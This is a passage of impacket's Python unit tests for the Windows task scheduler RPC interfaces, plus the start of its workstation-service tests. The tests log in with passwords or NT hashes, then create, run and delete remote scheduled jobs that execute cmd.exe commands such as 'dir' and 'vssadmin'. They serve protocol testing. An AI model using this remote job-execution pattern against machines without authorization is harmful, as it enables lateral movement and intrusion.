# hSchRpcGetLastRunInfo
# SchRpcGetTaskInfo
# hSchRpcGetTaskInfo
# SchRpcGetNumberOfMissedRuns
# hSchRpcGetNumberOfMissedRuns
# SchRpcEnableTask
# hSchRpcEnableTask
#
# Not yet:
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import tsch, atsvc, sasec
from impacket.dcerpc.v5.atsvc import AT_INFO
from impacket.dcerpc.v5.dtypes import NULL, LPWSTR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class TSCHTests(unittest.TestCase):
def connect(self, stringBinding, bindUUID):
rpctransport = transport.DCERPCTransportFactory(stringBinding )
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.connect()
dce.bind(bindUUID, transfer_syntax = self.ts)
return dce, rpctransport
def test_NetrJobEnum(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
request = atsvc.NetrJobEnum()
request['ServerName'] = NULL
request['pEnumContainer']['Buffer'] = NULL
request['PreferedMaximumLength'] = 0xffffffff
resp = dce.request(request)
resp.dump()
def test_hNetrJobEnum(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
resp = atsvc.hNetrJobEnum(dce, NULL, NULL, 0xffffffff)
resp.dump()
def test_hNetrJobAdd_hNetrJobEnum_hNetrJobDel(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
resp = atsvc.hNetrJobAdd(dce, NULL, atInfo)
resp.dump()
resp = atsvc.hNetrJobEnum(dce)
resp.dump()
for job in resp['pEnumContainer']['Buffer']:
resp = atsvc.hNetrJobDel(dce, NULL, job['JobId'], job['JobId'] )
resp.dump()
def test_NetrJobAdd_NetrJobEnum_NetrJobDel(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
request = atsvc.NetrJobAdd()
request['ServerName'] = NULL
request['pAtInfo']['JobTime'] = NULL
request['pAtInfo']['DaysOfMonth'] = 0
request['pAtInfo']['DaysOfWeek'] = 0
request['pAtInfo']['Flags'] = 0
request['pAtInfo']['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
resp = dce.request(request)
resp.dump()
request = atsvc.NetrJobEnum()
request['ServerName'] = NULL
request['pEnumContainer']['Buffer'] = NULL
request['PreferedMaximumLength'] = 0xffffffff
resp = dce.request(request)
resp.dump()
for job in resp['pEnumContainer']['Buffer']:
request = atsvc.NetrJobDel()
request['ServerName'] = NULL
request['MinJobId'] = job['JobId']
request['MaxJobId'] = job['JobId']
resp = dce.request(request)
resp.dump()
def test_NetrJobAdd_NetrJobGetInfo_NetrJobDel(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
request = atsvc.NetrJobAdd()
request['ServerName'] = NULL
request['pAtInfo']['JobTime'] = NULL
request['pAtInfo']['DaysOfMonth'] = 0
request['pAtInfo']['DaysOfWeek'] = 0
request['pAtInfo']['Flags'] = 0
request['pAtInfo']['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
resp = dce.request(request)
resp.dump()
request = atsvc.NetrJobGetInfo()
request['ServerName'] = NULL
request['JobId'] = resp['pJobId']
resp2 = dce.request(request)
resp2.dump()
request = atsvc.NetrJobDel()
request['ServerName'] = NULL
request['MinJobId'] = resp['pJobId']
request['MaxJobId'] = resp['pJobId']
resp = dce.request(request)
resp.dump()
def test_hNetrJobAdd_hNetrJobGetInfo_hNetrJobDel(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
resp = atsvc.hNetrJobAdd(dce, NULL, atInfo)
resp.dump()
resp2 = atsvc.hNetrJobGetInfo(dce, NULL, resp['pJobId'])
resp2.dump()
resp = atsvc.hNetrJobDel(dce, NULL, resp['pJobId'], resp['pJobId'])
resp.dump()
def test_SASetAccountInformation(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC)
request = sasec.SASetAccountInformation()
request['Handle'] = NULL
request['pwszJobName'] = 'MyJob.job\x00'
request['pwszAccount'] = self.username + '\0'
request['pwszPassword'] = self.password + '\0'
request['dwJobFlags'] = sasec.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if e.get_error_code() != 0x80070002:
raise
def test_hSASetAccountInformation(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC)
try:
resp = sasec.hSASetAccountInformation(dce, NULL, 'MyJob.job', self.username, self.password, 0)
resp.dump()
except Exception, e:
if e.get_error_code() != 0x80070002:
raise
def test_SASetNSAccountInformation(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC)
request = sasec.SASetNSAccountInformation()
request['Handle'] = NULL
request['pwszAccount'] = self.username + '\0'
request['pwszPassword'] = self.password + '\0'
resp = dce.request(request)
resp.dump()
def test_hSASetNSAccountInformation(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC)
resp = sasec.hSASetNSAccountInformation(dce, NULL, self.username, self.password)
resp.dump()
def test_SAGetNSAccountInformation(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC)
request = sasec.SAGetNSAccountInformation()
request['Handle'] = NULL
request['ccBufferSize'] = 15
for i in range(request['ccBufferSize'] ):
request['wszBuffer'].append(0)
resp = dce.request(request)
resp.dump()
def test_hSAGetNSAccountInformation(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC)
resp = sasec.hSAGetNSAccountInformation(dce, NULL, 15)
resp.dump()
def test_SAGetAccountInformation(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC)
request = sasec.SAGetAccountInformation()
request['Handle'] = NULL
request['pwszJobName'] = 'MyJob.job\x00'
request['ccBufferSize'] = 15
for i in range(request['ccBufferSize'] ):
request['wszBuffer'].append(0)
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if e.get_error_code() != 0x80070002:
raise
def test_hSAGetAccountInformation(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC)
try:
resp = sasec.hSAGetAccountInformation(dce, NULL, 'MyJob.job', 15)
resp.dump()
except Exception, e:
if e.get_error_code() != 0x80070002:
raise
def test_SchRpcHighestVersion(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
request = tsch.SchRpcHighestVersion()
resp = dce.request(request)
resp.dump()
def test_hSchRpcHighestVersion(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
resp = tsch.hSchRpcHighestVersion(dce)
resp.dump()
def tes_SchRpcRegisterTask(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
xml = """
\x00
"""
request = tsch.SchRpcRegisterTask()
request['path'] =NULL
request['xml'] = xml
request['flags'] = 1
request['sddl'] = NULL
request['logonType'] = tsch.TASK_LOGON_NONE
request['cCreds'] = 0
request['pCreds'] = NULL
resp = dce.request(request)
resp.dump()
def test_SchRpcRetrieveTask(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
request = tsch.SchRpcRetrieveTask()
request['path'] = '\\At%d.job\x00' % jobId
request['lpcwszLanguagesBuffer'] = '\x00'
request['pulNumLanguages'] = 0
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if e.get_error_code() != 0x80070002:
raise
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_hSchRpcRetrieveTask(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
try:
resp = tsch.hSchRpcRetrieveTask(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00')
resp.dump()
except Exception, e:
print e
pass
def test_SchRpcCreateFolder_SchRpcEnumFolders_SchRpcDelete(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
request = tsch.SchRpcCreateFolder()
request['path'] = '\\Beto\x00'
request['sddl'] = NULL
request['flags'] = 0
resp = dce.request(request)
resp.dump()
request = tsch.SchRpcEnumFolders()
request['path'] = '\\\x00'
request['flags'] = tsch.TASK_ENUM_HIDDEN
request['startIndex'] = 0
request['cRequested'] = 10
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
print e
pass
request = tsch.SchRpcDelete()
request['path'] = '\\Beto\x00'
request['flags'] = 0
resp = dce.request(request)
resp.dump()
def test_hSchRpcCreateFolder_hSchRpcEnumFolders_hSchRpcDelete(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
resp = tsch.hSchRpcCreateFolder(dce, '\\Beto')
resp.dump()
resp = tsch.hSchRpcEnumFolders(dce, '\\')
resp.dump()
resp = tsch.hSchRpcDelete(dce, '\\Beto')
resp.dump()
def test_SchRpcEnumTasks(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
request = tsch.SchRpcEnumTasks()
request['path'] = '\\\x00'
request['flags'] = tsch.TASK_ENUM_HIDDEN
request['startIndex'] = 0
request['cRequested'] = 10
resp = dce.request(request)
resp.dump()
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_hSchRpcEnumTasks(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
resp = tsch.hSchRpcEnumTasks(dce, '\\')
resp.dump()
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_SchRpcEnumInstances(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
request = tsch.SchRpcEnumInstances()
request['path'] = '\\\x00'
request['flags'] = tsch.TASK_ENUM_HIDDEN
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if e.get_error_code() != 0x80070002:
raise
def test_hSchRpcEnumInstances(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
try:
resp = tsch.hSchRpcEnumInstances(dce, '\\')
resp.dump()
except Exception, e:
if e.get_error_code() != 0x80070002:
raise
def test_SchRpcRun(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
request = tsch.SchRpcRun()
request['path'] = '\\At%d\x00' % jobId
#request['cArgs'] = 2
#arg0 = LPWSTR()
#arg0['Data'] = 'arg0\x00'
#arg1 = LPWSTR()
#arg1['Data'] = 'arg1\x00'
#request['pArgs'].append(arg0)
#request['pArgs'].append(arg1)
request['cArgs'] = 0
request['pArgs'] = NULL
request['flags'] = tsch.TASK_RUN_AS_SELF
request['sessionId'] = 0
request['user'] = NULL
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
print e
pass
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_hSchRpcRun(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
try:
resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1'))
resp.dump()
except Exception, e:
print e
pass
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_SchRpcGetInstanceInfo(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
try:
resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1'))
resp.dump()
except Exception, e:
print e
pass
request = tsch.SchRpcGetInstanceInfo()
request['guid'] = resp['pGuid']
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:
raise
pass
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_hSchRpcGetInstanceInfo(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
try:
resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1'))
resp.dump()
except Exception, e:
print e
pass
try:
resp = tsch.hSchRpcGetInstanceInfo(dce, resp['pGuid'])
resp.dump()
except Exception, e:
if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:
raise
pass
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_SchRpcStopInstance(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
try:
resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1'))
resp.dump()
except Exception, e:
print e
pass
request = tsch.SchRpcStopInstance()
request['guid'] = resp['pGuid']
request['flags'] = 0
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:
raise
pass
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_hSchRpcStopInstance(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
try:
resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1'))
resp.dump()
except Exception, e:
print e
pass
try:
resp = tsch.hSchRpcStopInstance(dce, resp['pGuid'])
resp.dump()
except Exception, e:
if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:
raise
pass
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_SchRpcStop(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
request = tsch.SchRpcStop()
request['path'] = '\\At%d\x00' % jobId
request['flags'] = 0
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
# It is actually S_FALSE
if str(e).find('ERROR_INVALID_FUNCTION') <= 0:
raise
pass
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_hSchRpcStop(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC)
atInfo = AT_INFO()
atInfo['JobTime'] = NULL
atInfo['DaysOfMonth'] = 0
atInfo['DaysOfWeek'] = 0
atInfo['Flags'] = 0
atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo)
resp.dump()
jobId = resp['pJobId']
try:
resp = tsch.hSchRpcStop(dce, '\\At%d\x00' % jobId)
resp.dump()
except Exception, e:
# It is actually S_FALSE
if str(e).find('ERROR_INVALID_FUNCTION') <= 0:
raise
pass
resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId)
resp.dump()
def test_SchRpcRename(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
resp = tsch.hSchRpcCreateFolder(dce, '\\Beto')
resp.dump()
request = tsch.SchRpcRename()
request['path'] = '\\Beto\x00'
request['newName'] = '\\Anita\x00'
request['flags'] = 0
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('E_NOTIMPL') <= 0:
raise
pass
resp = tsch.hSchRpcDelete(dce, '\\Beto')
resp.dump()
def test_hSchRpcRename(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
resp = tsch.hSchRpcCreateFolder(dce, '\\Beto')
resp.dump()
try:
resp = tsch.hSchRpcRename(dce, '\\Beto', '\\Anita')
resp.dump()
except Exception, e:
if str(e).find('E_NOTIMPL') <= 0:
raise
pass
resp = tsch.hSchRpcDelete(dce, '\\Beto')
resp.dump()
def test_SchRpcScheduledRuntimes(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
request = tsch.SchRpcScheduledRuntimes()
#request['path'] = '\\BBB\\Beto Task\x00'
request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
request['start'] = NULL
request['end'] = NULL
request['flags'] = 0
request['cRequested'] = 10
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
# It is actually S_FALSE
if str(e).find('ERROR_INVALID_FUNCTIO') <= 0:
raise
e.get_packet().dump()
pass
def test_hSchRpcScheduledRuntimes(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
request = tsch.SchRpcScheduledRuntimes()
#request['path'] = '\\BBB\\Beto Task\x00'
request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
request['start'] = NULL
request['end'] = NULL
request['flags'] = 0
request['cRequested'] = 10
try:
resp = tsch.hSchRpcScheduledRuntimes(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag', NULL, NULL, 0, 10)
resp.dump()
except Exception, e:
# It is actually S_FALSE
if str(e).find('ERROR_INVALID_FUNCTIO') <= 0:
raise
e.get_packet().dump()
pass
def test_SchRpcGetLastRunInfo(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
request = tsch.SchRpcGetLastRunInfo()
#request['path'] = '\\BBB\\Beto Task\x00'
request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('SCHED_S_TASK_HAS_NOT_RUN') <= 0:
raise
pass
def test_hSchRpcGetLastRunInfo(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
try:
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag')
resp.dump()
except Exception, e:
if str(e).find('SCHED_S_TASK_HAS_NOT_RUN') <= 0:
raise
pass
def test_SchRpcGetTaskInfo(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
request = tsch.SchRpcGetTaskInfo()
request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
request['flags'] = tsch.SCH_FLAG_STATE
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
print e
pass
def test_hSchRpcGetTaskInfo(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
try:
resp = tsch.hSchRpcGetTaskInfo(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag', tsch.SCH_FLAG_STATE)
resp.dump()
except Exception, e:
print e
pass
def test_SchRpcGetNumberOfMissedRuns(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
request = tsch.SchRpcGetNumberOfMissedRuns()
request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
print e
pass
def test_hSchRpcGetNumberOfMissedRuns(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
try:
resp = tsch.hSchRpcGetNumberOfMissedRuns(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag')
resp.dump()
except Exception, e:
print e
pass
def test_SchRpcEnableTask(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
request = tsch.SchRpcEnableTask()
request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
request['enabled'] = 1
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
print e
pass
def test_hSchRpcEnableTask(self):
dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS)
try:
resp = tsch.hSchRpcEnableTask(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag', True)
resp.dump()
except Exception, e:
print e
pass
class SMBTransport(TSCHTests):
def setUp(self):
TSCHTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBindingAtSvc = r'ncacn_np:%s[\PIPE\atsvc]' % self.machine
self.stringBindingAtSvc = r'ncacn_np:%s[\PIPE\atsvc]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class SMBTransport64(TSCHTests):
def setUp(self):
TSCHTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBindingAtSvc = r'ncacn_np:%s[\PIPE\atsvc]' % self.machine
self.stringBindingAtSvc = r'ncacn_np:%s[\PIPE\atsvc]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
#suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_wkst.py 0000600 0000765 0000000 00000045620 12734531507 023001 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# NetrWkstaGetInfo
# NetrWkstaUserEnum
# NetrWkstaTransportEnum
# NetrWkstaTransportAdd
# NetrUseAdd
# NetrUseGetInfo
# NetrUseDel
# NetrUseEnum
# NetrWorkstationStatisticsGet
# NetrGetJoinInformation
# NetrJoinDomain2
# NetrUnjoinDomain2
# NetrRenameMachineInDomain2
# NetrValidateName2
# NetrGetJoinableOUs2
# NetrAddAlternateComputerName
# NetrRemoveAlternateComputerName
# NetrSetPrimaryComputerName
# NetrEnumerateComputerNames
#
# Not yet:
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import wkst
from impacket.dcerpc.v5.ndr import NULL
class WKSTTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.ts)
return dce, rpctransport
def test_NetrWkstaGetInfo(self):
dce, rpctransport = self.connect()
request = wkst.NetrWkstaGetInfo()
request['ServerName'] = '\x00'*10
request['Level'] = 100
resp = dce.request(request)
resp.dump()
request['Level'] = 101
resp = dce.request(request)
resp.dump()
request['Level'] = 102
resp = dce.request(request)
resp.dump()
request['Level'] = 502
resp = dce.request(request)
resp.dump()
def test_hNetrWkstaGetInfo(self):
dce, rpctransport = self.connect()
resp = wkst.hNetrWkstaGetInfo(dce, 100)
resp.dump()
resp = wkst.hNetrWkstaGetInfo(dce, 101)
resp.dump()
